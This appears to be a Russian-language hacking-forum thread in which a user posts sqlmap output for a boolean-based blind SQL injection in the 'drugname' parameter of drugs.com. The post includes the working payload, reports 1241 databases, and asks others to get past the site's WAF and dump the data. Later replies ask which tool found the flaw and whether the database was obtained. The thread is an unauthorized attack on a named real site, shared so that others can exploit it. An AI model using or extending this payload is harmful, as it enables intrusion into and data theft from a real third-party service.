[SQLi] drugs.com

[Xrenovi4]

Nfl - Pill Identifier | Drugs.com

Drug Identifier Results for "nfl". Search by imprint, shape, color or drug name.

www.drugs.com

Parameter: drugname (GET)
Type: boolean-based blind
Title: MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)
Payload: drugname=-8360' OR (6959=6959)*8423-- vyEr
---
back-end DBMS: MySQL unknown

1241 дб, но получить имена не вышло, ответы все убивает waf


Если кто крутанет, был бы рад услышать как решили проблему с именами

 

[QwEQw3RtyY]

Хренович, это тулзой нашел?

https://xss.pro/threads/30638/

или свои методы?
Просто тут на грани выбора, подмоги старичек.

 

[Xrenovi4]

Хренович, это тулзой нашел?

https://xss.pro/threads/30638/

или свои методы?
Просто тут на грани выбора, подмоги старичек.

Нашел то да, но крутил уже потом мапом
На общих настройках до бд не добраться, сайт спецефичненький

 

[redeyex]

Бд получил или в процессе?